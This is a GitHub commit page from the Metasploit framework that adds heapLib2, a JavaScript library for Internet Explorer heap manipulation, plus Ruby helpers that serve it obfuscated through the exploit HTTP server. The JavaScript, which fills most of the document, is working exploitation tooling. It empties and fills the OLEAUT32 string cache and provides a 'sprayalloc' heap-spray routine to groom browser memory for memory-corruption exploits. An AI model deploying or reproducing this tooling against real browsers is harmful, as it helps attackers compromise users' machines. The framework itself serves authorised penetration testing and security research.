Skip to content

Commit 8cf5c3b

Browse files
committed
Add heaplib2
[SeeRM rapid7#8769] Add heapLib2 for browser exploitation
1 parent ac446d3 commit 8cf5c3b

File tree

3 files changed

+206
-0
lines changed

3 files changed

+206
-0
lines changed

data/js/memory/heaplib2.js

Lines changed: 192 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,192 @@
1+
//heapLib2 namespace
2+
function heapLib2() { }
3+
4+
//These are attributes that will not actually create a bstr
5+
//and directly use the back-end allocator, completely bypassing the cache
6+
var global_attrs = ["title", "lang", "class"];
7+
8+
heapLib2.ie = function(element, maxAlloc)
9+
{
10+
//128mb
11+
this.maxAlloc = 0x8000000;
12+
13+
//make sure that an HTML DOM element is passed
14+
if(!element.nodeType || element.nodeType != 1)
15+
throw "alloc.argument: element not valid";
16+
17+
this.element = element;
18+
19+
if(maxAlloc)
20+
this.maxAlloc = maxAlloc;
21+
22+
//empty the cache
23+
this.Oleaut32EmptyCache();
24+
this.Oleaut32FillCache();
25+
this.Oleaut32EmptyCache();
26+
27+
}
28+
29+
heapLib2.ie.prototype.newelement = function(element)
30+
{
31+
//make sure that an HTML DOM element is passed
32+
if(!element.nodeType || element.nodeType != 1)
33+
throw "alloc.argument: element not valid";
34+
35+
this.element = element;
36+
}
37+
38+
heapLib2.ie.prototype.alloc = function(attr_name, size, cache_ok)
39+
{
40+
if(typeof(cache_ok)==='undefined')
41+
cache_ok = false;
42+
else
43+
cache_ok = true;
44+
45+
//make sure the attribute name is a string
46+
if(typeof attr_name != "string")
47+
throw "alloc.argument: attr_name is not a string";
48+
49+
//make sure that the attribute name is not already present in the html element
50+
if(this.element.getAttribute(attr_name))
51+
throw "alloc.argument: element already contains attr_name: " + attr_name;
52+
53+
//ensure the size is a number
54+
if(typeof size != "number")
55+
throw "alloc.argument: size is not a number: " + size;
56+
57+
//make sure the size isn't one of the special values
58+
if(!cache_ok && (size == 0x20 || size == 0x40 || size == 0x100 || size == 0x8000))
59+
throw "alloc.argument: size cannot be flushed from cache: " + size;
60+
61+
if(size > this.maxAlloc)
62+
throw "alloc.argument: size cannot be greater than maxAlloc(" + this.maxAlloc + ") : " + size;
63+
64+
//the size must be at a 16-byte boundary this can be commented out but
65+
//the allocations will be rounded to the nearest 16-byte boundary
66+
if(size % 16 != 0)
67+
throw "alloc.argument: size be a multiple of 16: " + size;
68+
69+
//20-bytes will be added to the size
70+
//<4-byte size><data><2-byte null>
71+
size = ((size / 2) - 6);
72+
73+
//May have to change this due to allocation side effects
74+
var data = new Array(size).join(cache_ok ? "C" : "$");
75+
76+
var attr = document.createAttribute(attr_name);
77+
this.element.setAttributeNode(attr);
78+
this.element.setAttribute(attr_name, data);
79+
80+
}
81+
82+
//These items will allocate/free memory and should really
83+
//only be used once per element. You can use a new element
84+
//by calling the 'newelement' method above
85+
heapLib2.ie.prototype.alloc_nobstr = function(val)
86+
{
87+
//make sure the aval is a string
88+
if(typeof val != "string")
89+
throw "alloc.argument: val is not a string";
90+
91+
var size = (val.length * 2) + 6;
92+
93+
if(size > this.maxAlloc)
94+
throw "alloc_nobstr.val: string length cannot be greater than maxAlloc(" + this.maxAlloc + ") : " + size;
95+
96+
var i = 0;
97+
var set_gattr = 0;
98+
for(i = 0; i < global_attrs.length; i++)
99+
{
100+
curr_gattr = global_attrs[i];
101+
if(!this.element.getAttribute(curr_gattr))
102+
{
103+
this.element.setAttribute(curr_gattr, "");
104+
this.element.setAttribute(curr_gattr, val);
105+
set_gattr = 1;
106+
break;
107+
}
108+
}
109+
110+
if(set_gattr == 0)
111+
throw "alloc_nobstr: all global attributes are assigned, try a new element";
112+
}
113+
114+
//completely bypass the cache, useful for heap spraying (see heapLib2_test.html)
115+
heapLib2.ie.prototype.sprayalloc = function(attr_name, str)
116+
{
117+
//make sure the attribute name is a string
118+
if(typeof attr_name != "string")
119+
throw "alloc.argument: attr_name is not a string";
120+
121+
//make sure that the attribute name is not already present in the html element
122+
if(this.element.getAttribute(attr_name))
123+
throw "alloc.argument: element already contains attr_name: " + attr_name;
124+
125+
//ensure the size is a number
126+
if(typeof str != "string")
127+
throw "alloc.argument: str is not a string: " + typeof str;
128+
129+
var size = (str.length * 2) + 6;
130+
131+
//make sure the size isn't one of the special values
132+
if(size <= 0x8000)
133+
throw "alloc.argument: bigalloc must be greater than 0x8000: " + size;
134+
135+
if(size > this.maxAlloc)
136+
throw "alloc.argument: size cannot be greater than maxAlloc(" + this.maxAlloc + ") : " + size;
137+
138+
var attr = document.createAttribute(attr_name);
139+
this.element.setAttributeNode(attr);
140+
this.element.setAttribute(attr_name, str);
141+
}
142+
143+
heapLib2.ie.prototype.free = function(attr_name, skip_flush)
144+
{
145+
if(typeof(skip_flush)==='undefined')
146+
skip_flush = false;
147+
else
148+
skip_flush = true;
149+
150+
//make sure that an HTML DOM element is passed
151+
if(!this.element.nodeType || this.element.nodeType != 1)
152+
throw "alloc.argument: element not valid";
153+
154+
//make sure the attribute name is a string
155+
if(typeof attr_name != "string")
156+
throw "alloc.argument: attr_name is not a string";
157+
158+
//make sure that the attribute name is not already present in the html element
159+
if(!this.element.getAttribute(attr_name))
160+
throw "alloc.argument: element does not contain attribute: " + attr_name;
161+
162+
//make sure the cache is full so the chunk returns the general purpose heap
163+
if(!skip_flush)
164+
this.Oleaut32FillCache();
165+
166+
this.element.setAttribute(attr_name, null);
167+
168+
if(!skip_flush)
169+
this.Oleaut32EmptyCache()
170+
}
171+
172+
heapLib2.ie.prototype.Oleaut32FillCache = function()
173+
{
174+
for(var i = 0; i < 6; i++)
175+
{
176+
this.free("cache0x20"+i, true);
177+
this.free("cache0x40"+i, true);
178+
this.free("cache0x100"+i, true);
179+
this.free("cache0x8000"+i, true);
180+
}
181+
}
182+
183+
heapLib2.ie.prototype.Oleaut32EmptyCache = function()
184+
{
185+
for(var i = 0; i < 6; i++)
186+
{
187+
this.alloc("cache0x20"+i, 0x20, true);
188+
this.alloc("cache0x40"+i, 0x40, true);
189+
this.alloc("cache0x100"+i, 0x100, true);
190+
this.alloc("cache0x8000"+i, 0x8000, true);
191+
}
192+
}

lib/msf/core/exploit/http/server.rb

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -719,6 +719,13 @@ def heaplib(custom_js = '', opts = {})
719719
Rex::Exploitation::HeapLib.new(custom_js, opts).to_s
720720
end
721721

722+
#
723+
# Returns the heaplib2 javascript
724+
#
725+
def heaplib2
726+
@cache_heaplib2 ||= Rex::Exploitation::Js::Memory.heaplib2
727+
end
728+
722729
def js_base64
723730
@cache_base64 ||= Rex::Exploitation::Js::Utils.base64
724731
end

lib/rex/exploitation/js/memory.rb

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -24,6 +24,13 @@ def self.mstime_malloc
2424
}).obfuscate
2525
end
2626

27+
def self.heaplib2
28+
js = ::File.read(::File.join(Msf::Config.data_directory, "js", "memory", "heaplib2.js"))
29+
30+
js = ::Rex::Exploitation::JSObfu.new js
31+
js.obfuscate
32+
end
33+
2734
def self.property_spray
2835
js = ::File.read(::File.join(Msf::Config.data_directory, "js", "memory", "property_spray.js"))
2936

0 commit comments

Comments
 (0)